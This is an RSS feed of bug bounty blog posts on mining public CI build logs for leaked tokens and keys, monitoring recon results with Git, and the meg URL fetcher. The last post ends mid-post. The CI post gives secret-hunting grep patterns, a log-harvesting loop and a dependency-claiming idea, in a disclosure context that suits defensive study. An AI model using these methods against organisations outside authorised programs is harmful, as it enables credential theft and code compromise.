<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: EdOverflow 🐸</title>
    <description>The latest articles on Forem by EdOverflow 🐸 (@edoverflow).</description>
    <link>https://forem.com/edoverflow</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F62290%2F5a232d35-33da-47dc-9274-dff71056fc3e.gif</url>
      <title>Forem: EdOverflow 🐸</title>
      <link>https://forem.com/edoverflow</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/edoverflow"/>
    <language>en</language>
    <item>
      <title>“CI Knew There Would Be Bugs Here” — Exploring Continuous Integration Services as a Bug Bounty Hunter</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Fri, 26 Apr 2019 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/ci-knew-there-would-be-bugs-here-exploring-continuous-integration-services-as-a-bug-bounty-hunter-1bc1</link>
      <guid>https://forem.com/edoverflow/ci-knew-there-would-be-bugs-here-exploring-continuous-integration-services-as-a-bug-bounty-hunter-1bc1</guid>
      <description>&lt;p&gt;When it comes to bug bounty hunting and finding exciting areas to explore, it is vital to familiarise yourself with the technologies that vendors and companies rely on. One particularly interesting environment that caught our eye was popular integrations used by various open-source projects, primarily as part of their development life cycle. Some prime examples of continuous-integration services (“CI services”) including &lt;a href="https://travis-ci.org/" rel="noopener noreferrer"&gt;Travis CI&lt;/a&gt;, &lt;a href="https://circleci.com/" rel="noopener noreferrer"&gt;Circle CI&lt;/a&gt;, and &lt;a href="https://about.gitlab.com/product/continuous-integration/" rel="noopener noreferrer"&gt;GitLab CI&lt;/a&gt; turned out to be extremely rewarding for us as bug bounty hunters.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799241-d3987a80-6818-11e9-9f31-4696e56bac02.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799241-d3987a80-6818-11e9-9f31-4696e56bac02.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We set out to automate fetching and searching large data sets from these CI services. This technical write-up will touch on the numerous challenges we faced, how we reduced the number of false-positives in our searches, notable findings, and finally, list some tricks we picked up along the way.&lt;/p&gt;

&lt;p&gt;The team that worked on this research includes Justin Gardner (&lt;a href="https://twitter.com/Rhynorater" rel="noopener noreferrer"&gt;@Rhynorater&lt;/a&gt;), Corben Leo (&lt;a href="https://twitter.com/hacker_" rel="noopener noreferrer"&gt;@hacker_&lt;/a&gt;), and EdOverflow (&lt;a href="https://twitter.com/EdOverflow" rel="noopener noreferrer"&gt;@EdOverflow&lt;/a&gt;) — with some testing and helpful suggestions by Karim Rahal (&lt;a href="https://twitter.com/KarimPwnz" rel="noopener noreferrer"&gt;@KarimPwnz&lt;/a&gt;), &lt;a href="https://twitter.com/streaak" rel="noopener noreferrer"&gt;@streaak&lt;/a&gt;, &lt;a href="https://twitter.com/d0nutptr" rel="noopener noreferrer"&gt;@d0nutptr&lt;/a&gt;, and BBAC.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction to continuous-integration services
&lt;/h2&gt;

&lt;p&gt;Continuous integration (CI) is the practice of committing code-changes and automatically building and testing every change. Nowadays, it is rare not to stumble across an open-source project that does not use a continuous-integration service at some point in the development cycle. The various services out there offer straightforward set-up configuration steps and beautiful interfaces for quickly testing and building code continuously.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799279-e6ab4a80-6818-11e9-8933-6d010c0f09fb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799279-e6ab4a80-6818-11e9-8933-6d010c0f09fb.png"&gt;&lt;/a&gt;/r/dataisugly/ candidate right here.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/securitytxt/security-txt" rel="noopener noreferrer"&gt;security.txt project&lt;/a&gt;, for instance, uses Travis CI to build new draft documents whenever a commit is pushed. This allows the team to quickly determine if any further changes to the specification could potentially break the Internet Draft when compiled using &lt;code&gt;kramdown-rfc2629&lt;/code&gt; — a tool that enables one to write everything in Markdown and then convert it to XML2RFC XML markup.&lt;/p&gt;

&lt;h2&gt;
  
  
  What went through our heads
&lt;/h2&gt;

&lt;p&gt;Something that readers have requested in the past is to have a designated section on how the authors came up with research topics such as the type of work we are presenting here. This section will hopefully illustrate where the idea stems from initially.&lt;/p&gt;

&lt;p&gt;All the authors of this write-up have lots of experience working on open-source projects on GitHub and have, over the years, learned techniques that simplify the development process for open-source project maintainers. GitHub offers lots of integrations at &lt;a href="https://github.com/marketplace" rel="noopener noreferrer"&gt;https://github.com/marketplace&lt;/a&gt;, where one particular category stands out: &lt;a href="https://github.com/marketplace/category/continuous-integration" rel="noopener noreferrer"&gt;“Continuous integration”&lt;/a&gt;. This is where we discovered that due to the way lots of open-source teams strive for complete transparency and openness in the development process, projects were hesitant to hide build log data on continuous-integration platforms. Admittedly, integrations such as Travis CI do offer private profiles as a premium feature on travis-ci.com, but during our research, the vast majority of projects appeared to only use the public instance travis-ci.org — note the “.org” top-level domain.&lt;/p&gt;

&lt;p&gt;It is worth noting that continuous-integration services have already been targeted in the past for sensitive information by bug bounty hunters and third-parties as seen in &lt;a href="https://hackerone.com/reports/215625" rel="noopener noreferrer"&gt;“A HackerOne employee’s GitHub personal access token exposed in Travis CI build logs”&lt;/a&gt; and the &lt;a href="https://www.traviscistatus.com/incidents/3f8mwqxbh127" rel="noopener noreferrer"&gt;“API under attack”&lt;/a&gt; Travis CI incident report:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“We are currently undergoing a distributed attack on our public API that we believe is aimed at revealing GitHub authentication tokens. Countermeasures are holding, and we will update accordingly.”&lt;/p&gt;

&lt;p&gt;— Travis CI (Sep. 2015)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So much so that platforms such as Travis CI introduced built-in secrets detection to prevent accidental exposure of sensitive information as seen below. &lt;a href="https://docs.travis-ci.com/user/best-practices-security/" rel="noopener noreferrer"&gt;[1]&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799298-f32fa300-6818-11e9-88db-274d183cd1be.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799298-f32fa300-6818-11e9-88db-274d183cd1be.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Travis CI replaces potentially sensitive information with the &lt;code&gt;[secure]&lt;/code&gt; keyword at runtime.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;To prevent leaks made by these components, we automatically filter secure environment variables and tokens that are longer than three characters at runtime, effectively removing them from the build log, displaying the string &lt;code&gt;[secure]&lt;/code&gt; instead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Automating the boring tasks
&lt;/h2&gt;

&lt;p&gt;Approaching a large attack surface manually, such as the one Travis CI presents, would be an incredibly tedious task. Therefore, we had to work with the available API documentation these CI vendors provide and develop tooling to automate fetching build logs rapidly.&lt;/p&gt;

&lt;p&gt;To better illustrate the process of going from a bug bounty program to an extensive data set for further investigation, we will use &lt;a href="https://docs.travis-ci.com/user/developer/" rel="noopener noreferrer"&gt;Travis CI’s API documentation&lt;/a&gt; as an example.&lt;/p&gt;

&lt;p&gt;The initial phase of our process was to fetch bug bounty programs’ GitHub organisations. There were multiple ways of going about doing this, but for the best results, a simple Google search for “company name” and “GitHub” would do the job. Next, we had to check if the GitHub handle was on Travis CI. To make this process smoother, we used a browser bookmarklet that would redirect us from GitHub to Travis CI using the GitHub handle.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;javascript:window.location="https://travis-ci.org"+window.location.pathname;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799313-fd51a180-6818-11e9-9518-4b06e81de2e9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799313-fd51a180-6818-11e9-9518-4b06e81de2e9.png"&gt;&lt;/a&gt;The bookmarklet would redirect from the GitHub page to Travis CI.&lt;/p&gt;

&lt;p&gt;If the target was present on GitHub, we hit the projects API endpoint on Travis CI and retrieve a list of all projects.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.travis-ci.org/owner/%s/repos?limit=100&amp;amp;offset=%d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Travis CI’s API is case sensitive; fortunately, the bookmarklet ensures that you are using the correct handle when issuing API requests. To gather the contents of build logs, we need to hit the build IDs API endpoint and then &lt;code&gt;/log.txt&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.travis-ci.org/repo/%s/builds?limit=100&amp;amp;offset=%d
https://api.travis-ci.org/job/%d/log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that the contents of all the build logs belonging to the target are stored locally, we can start grepping. Due to the size of the data we were analysing, we resorted to &lt;a href="https://github.com/BurntSushi/ripgrep" rel="noopener noreferrer"&gt;&lt;code&gt;ripgrep&lt;/code&gt;&lt;/a&gt; when sieving through the logs locally.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ rg -ia "$1" -j 12 --no-filename --no-line-number --pretty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Besides bug bounty program’s GitHub accounts, the authors also gathered build logs belonging to all members of the GitHub organisation. It turns out that some members were running builds on their account not realising that their secrets were being exposed in the build logs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

users=$(curl -s -H "application/vnd.github.hellcat-preview+json" -H "Authorization: token $GH_TOKEN" https://api.github.com/orgs/"$1"/members | jq -r .[].login);

while read -r hehe; do 
    secretz -t "$hehe"; 
done &amp;lt;&amp;lt;&amp;lt; "$users"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The team behind this project has decided to refrain from publishing any of the tools built to fetch build logs since we do not want to be directly responsible for any disruptions to CI platforms’ performance. This write-up will inevitably draw more attention to the large attack surface some CI platforms present; therefore, the authors would like to remind the reader, when using the platform’s API, to please take care in not inundating every endpoint with lots of requests at once. We were very cautious not to take down any services during the entire process and would advise others to follow suit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results and notable findings
&lt;/h2&gt;

&lt;p&gt;Overall, the most impactful findings were predominately GitHub access token leaks. In this section, we will cover four notable reports that our team submitted.&lt;/p&gt;

&lt;p&gt;While grepping through the Travis CI build logs of a employee’s account on a public progran, we discovered a GitHub access token with read and write access to the GitHub organisation. This token would have allowed us to push code to any of the repositories listed under the GitHub organisation. The program awarded us their highest payout to date according to their HackerOne “Program Statistics”.&lt;/p&gt;

&lt;p&gt;To expand our scope, we considered multiple platforms. In a private Bugcrowd program’s Travis CI build log from 2013, we found a GitHub access token and were awarded a P1-severity payout — the highest possible severity score on Bugcrowd. &lt;a href="https://bugcrowd.com/vulnerability-rating-taxonomy" rel="noopener noreferrer"&gt;[2]&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The most surprising response from all the vendors that we reported findings to was Discourse’s bug bounty program. Karim Rahal discovered an employee’s GitHub access token with read and write access to all public repositories under the Discourse GitHub organisation. To demonstrate the potential impact of this issue, we pushed a harmless file to one of the organisation’s least active repositories to not draw too much attention. The file was subsequently &lt;a href="https://github.com/discourse/errorpages/commit/09dc71dc6e20b192a54d9ede0e3ff2c08aa3e400" rel="noopener noreferrer"&gt;removed from the repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799351-15c1bc00-6819-11e9-8cdb-70e1e119f2c9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56799351-15c1bc00-6819-11e9-8cdb-70e1e119f2c9.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Discourse awarded Karim the lowest possible bounty of $128. We requested further clarification as to how the team determined the bounty amount, but we have yet to hear back from the Discourse team — that is 60 days without a response. &lt;a href="https://hackerone.com/reports/497669" rel="noopener noreferrer"&gt;[3]&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another critical bug was discovered on a public cryptocurrency program on HackerOne. This program was using secret variables within Travis CI to create an SSH key. The details for this configuration can be found &lt;a href="https://github.com/dwyl/learn-travis/blob/master/encrypted-ssh-keys-deployment.md#5-encrypt-the-private-key" rel="noopener noreferrer"&gt;here&lt;/a&gt; and &lt;a href="https://github.com/nelsonic/hello-world-node-http-server/blob/master/.travis.yml#L7-L16" rel="noopener noreferrer"&gt;here&lt;/a&gt;. After digging through thousands of logs, the following line was detected by a tool Justin Gardner wrote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A developer had added &lt;code&gt;cat deploy_key&lt;/code&gt; in their CI configuration file which outputted the SSH key in the log. With the SSH key, an attacker could have logged into several deployment servers in the program’s infrastructure. A bounty of $1000 was awarded because the servers were non-production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tips and tricks
&lt;/h2&gt;

&lt;p&gt;Usually, a simple grep for &lt;code&gt;export&lt;/code&gt; statements in the build logs would be a good starting point. The &lt;code&gt;export&lt;/code&gt; command is used for setting environment variables in the log prompt and therefore can expose sensitive information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ rg -ia "export " -j 12 --no-filename --no-line-number --pretty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of course one should not restrict themselves solely to variables set using the &lt;code&gt;export&lt;/code&gt; command; refining search terms to “token”, “key”, “password”, and “secret” can help uncover specific leaks. To reduce the number of false positives, we recommend appending &lt;code&gt;=&lt;/code&gt; and &lt;code&gt;:&lt;/code&gt; to your search terms.&lt;/p&gt;

&lt;p&gt;We encourage readers to create a list of all variables with the &lt;code&gt;[secure]&lt;/code&gt; keyword and then search using those variable names in all projects. This will help you find unsecured instances of sensitive data using common variable naming conventions. Karim Rahal gathered &lt;code&gt;[secure]&lt;/code&gt; variables from 5,302,677 build logs, the 50 most common of which can be seen below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56803383-c4b6c580-6822-11e9-9807-6ee57563024c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F56803383-c4b6c580-6822-11e9-9807-6ee57563024c.png"&gt;&lt;/a&gt;Full list can be found &lt;a href="https://gist.githubusercontent.com/EdOverflow/8bd2faad513626c413b8fc6e9d955669/raw/06a0ef0fd83920d513c65767aae258ecf8382bdf/gistfile1.txt" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In addition, setting up continuous monitoring of your favourite bug bounty program’s CI builds, and running your tooling every time the team pushes a new commit to GitHub is a great way to catch exposed secrets in real time before the team has time to act.&lt;/p&gt;

&lt;p&gt;Do not restrict yourself to keys and tokens; CI platforms are a great source of information for reconnaissance too. Sieve through the logs to find hidden endpoints and URLs belonging to the target.&lt;/p&gt;

&lt;p&gt;Check for CI config files on GitHub to determine what CI integration your target is using. There may be other CI platforms out there that were not covered in this write-up where secrets are exposed.&lt;/p&gt;

&lt;p&gt;A fun task that we included in our grep process was to find strings and errors messages commonly associated with missing or broken dependencies. With missing npm packages, this can sometimes lead to code execution by claiming the package name on a remote registry as demonstrated in &lt;a href="https://hackerone.com/reports/399166" rel="noopener noreferrer"&gt;https://hackerone.com/reports/399166&lt;/a&gt;. Some example error messages include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“is not in the npm registry.” (&lt;a href="https://www.npmjs.com/" rel="noopener noreferrer"&gt;npm&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;“No matching distribution” (&lt;a href="https://pypi.org/" rel="noopener noreferrer"&gt;PyPI&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;“Could not find a valid gem” (&lt;a href="https://rubygems.org/" rel="noopener noreferrer"&gt;RubyGems&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion and further research
&lt;/h2&gt;

&lt;p&gt;This research has helped us get a better understanding of the large attack surface that continuous-integration services present — almost hidden in plain sight — and has turned out to be extremely fruitful when bug bounty hunting.&lt;/p&gt;

&lt;p&gt;Since a reasonably limited amount of platforms were included in this research, future studies and projects could consider covering further CI platforms and integrations.&lt;/p&gt;

&lt;p&gt;We applaud platforms such as Travis CI that allow users to hide sensitive environment variables in their logs. In our view, this is a step in the right direction to preventing the type of security leaks that we encountered.&lt;/p&gt;

&lt;p&gt;Not only has this work provided us with lots of successful bug bounty stories and valid findings, but it has also shown that collaboration, as seen here with this project, can go a long way while bug bounty hunting. ■&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F38743788-4217a52e-3f40-11e8-9880-6c0ef4c8e4e7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F38743788-4217a52e-3f40-11e8-9880-6c0ef4c8e4e7.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you enjoy reading my write-ups and would like to support my work,&lt;br&gt;
please check out my "Buy me a coffee" page.&lt;/p&gt;

&lt;center&gt;[&lt;h1&gt;Buy me a coffee&lt;/h1&gt;](https://www.buymeacoffee.com/edoverflow)&lt;/center&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>github</category>
      <category>opensource</category>
    </item>
    <item>
      <title>The poor man’s bug bounty monitoring setup</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 15 Jul 2018 00:00:00 +0000</pubDate>
      <link>https://forem.com/securitytxt/the-poor-mans-bug-bounty-monitoring-setup-5f1f</link>
      <guid>https://forem.com/securitytxt/the-poor-mans-bug-bounty-monitoring-setup-5f1f</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.oldbookillustrations.com%2Fwp-content%2Fuploads%2F2017%2F07%2Ffishing-station.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.oldbookillustrations.com%2Fwp-content%2Fuploads%2F2017%2F07%2Ffishing-station.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fishing station on the shores of the Black Sea&lt;/em&gt; by Jules Laurens&lt;/p&gt;

&lt;p&gt;I must confess, I have been holding on to a small trick that could allow anybody — even those of you that are not into developing and maintaining software — to set up a monitoring system in mere minutes. The reason why I call it the poor man’s monitoring setup is simply to indicate that this setup is not extremely sophisticated, but it does its job beautifully.&lt;/p&gt;

&lt;p&gt;When bug bounty hunters monitor targets, they want to receive indications that something new has appeared or that there is a new instance. This is done so that one can immediately jump onto interesting targets and components, which is particularly useful on competitive bug bounty programmes.&lt;/p&gt;

&lt;p&gt;The main part of this setup relies on &lt;a href="https://git-scm.com/" rel="noopener noreferrer"&gt;Git&lt;/a&gt;. We want to be able to store results from our reconnaissance tools — such as subdomain-bruteforcing scripts — and be able to quickly see changes. We also need a place to store the output remotely. For this particular example, I will be using private GitHub repositories. Students can get free private repositories on GitHub if you apply here: &lt;a href="https://education.github.com/pack" rel="noopener noreferrer"&gt;https://education.github.com/pack&lt;/a&gt;. Please keep in mind, that there are plenty of alternatives out there, I am just sticking to GitHub for this write-up.&lt;/p&gt;

&lt;p&gt;Once you have your private repository set up, make sure to store all output from your tools that you want to monitor inside of the local Git folder. When done running your tools, your monitoring script should attempt to &lt;code&gt;git commit&lt;/code&gt; the output. The clever thing here is that Git will not commit unmodified files, meaning you will only be able to &lt;code&gt;git commit&lt;/code&gt; files that include newly discovered endpoints. &lt;code&gt;git push&lt;/code&gt; your files to the private GitHub and include a nice commit message, because this will become useful later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733457-f67a872c-8831-11e8-9dce-fd3f1295f324.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733457-f67a872c-8831-11e8-9dce-fd3f1295f324.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that everything is being pushed to GitHub, we want to have a way to be notified about new commits. It turns out, GitHub has a nifty little feature which allows you to send emails to an address whenever there is a new commit on the master branch.&lt;/p&gt;

&lt;p&gt;1) Navigate to &lt;a href="https://github.com/YOUR%5C_USERNAME/REPO/settings/installations" rel="noopener noreferrer"&gt;https://github.com/YOUR\_USERNAME/REPO/settings/installations&lt;/a&gt;;&lt;/p&gt;

&lt;p&gt;2) Under the “Add service” dropdown, look for “email”;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733459-f6af8daa-8831-11e8-9462-846496e0f804.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733459-f6af8daa-8831-11e8-9462-846496e0f804.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3) Add your email address in the “Address” field.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733471-1daf4896-8832-11e8-9aa0-173bb798012a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F42733471-1daf4896-8832-11e8-9aa0-173bb798012a.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, run the your tools with the Git commit process as a cron job. I wrote the whole thing in a few lines of Bash.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ crontab -l
# Edit this file to introduce tasks to be run by cron.
...

0 * * * * /usr/local/bin/scan example.com

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You are now ready to go. Sit back and relax. GitHub will now notify you whenever any changes were made via email with a nice diff of the files. So you can be sat in a Caffè somewhere and know straight away when a new endpoint was discovered on your favourite bug bounty target.&lt;/p&gt;

&lt;p&gt;On a side note, I just want to add, please do not perform over-the-top type of scanning when monitoring. Keep things light-weight and prioritise targets.&lt;/p&gt;

</description>
    </item>
    <item>
      <title> Automating your reconnaissance workflow with meg</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Fri, 13 Apr 2018 18:45:43 +0000</pubDate>
      <link>https://forem.com/edoverflow/-automating-your-reconnaissance-workflow-with-meg-2koi</link>
      <guid>https://forem.com/edoverflow/-automating-your-reconnaissance-workflow-with-meg-2koi</guid>
      <description>&lt;p&gt;For the past few months, I have been playing around with a tool developed by &lt;a href="https://twitter.com/tomnomnom"&gt;Tom Hudson&lt;/a&gt; called '&lt;a href="https://github.com/tomnomnom/meg"&gt;meg&lt;/a&gt;' and I have fallen in love with this tool. meg is a lightweight URL fetcher that stores the output in organised directories and files. This tool has become the quintessential element in my reconnaissance workflow and has been incorporated into many of my personal tools.&lt;/p&gt;

&lt;p&gt;Tom comes from a developing background and therefore understands full well the issue with mass-scanning. This is why meg was designed with the primary focus of not being resource intensive. By default, the tool behaves like a normal user browsing the web and is less likely to take down a service as a result.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Basics
&lt;/h2&gt;

&lt;p&gt;In bare essence, all it takes to run meg is to specify an endpoint and then a host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;meg &amp;lt;endpoint&amp;gt; &amp;lt;host&amp;gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;meg / https://edoverflow.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The latter command requests the top-level directory for &lt;a href="https://edoverflow.com"&gt;https://edoverflow.com&lt;/a&gt; (&lt;code&gt;https://edoverflow.com/&lt;/code&gt;). It is important to note, that protocols most be specified; meg does not automatically prefix hosts. If you happen to have a list of targets without protocols, make sure to &lt;code&gt;sed&lt;/code&gt; the file and add the correct protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s#^#http://#g'&lt;/span&gt; list-of-hosts &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default meg stores all output in an &lt;code&gt;out/&lt;/code&gt; directory, but if you would like to include a dedicated output directory, all it takes is appending the output directory to your command as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;meg / https://edoverflow.com out-edoverflow/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Discovering Interesting Files On The Web
&lt;/h2&gt;

&lt;p&gt;Say we want to pinpoint specific files that could either assist us further while targeting a platform or be an actual security issue in itself if exposed to the public, all it takes is a list of endpoints (&lt;code&gt;lists/php&lt;/code&gt;) and a series of targets (&lt;code&gt;targets-all&lt;/code&gt;). For this process, storing all pages that return a "200 OK" status code will help us sieve out most of the noise and false-positives (&lt;code&gt;-s 200&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
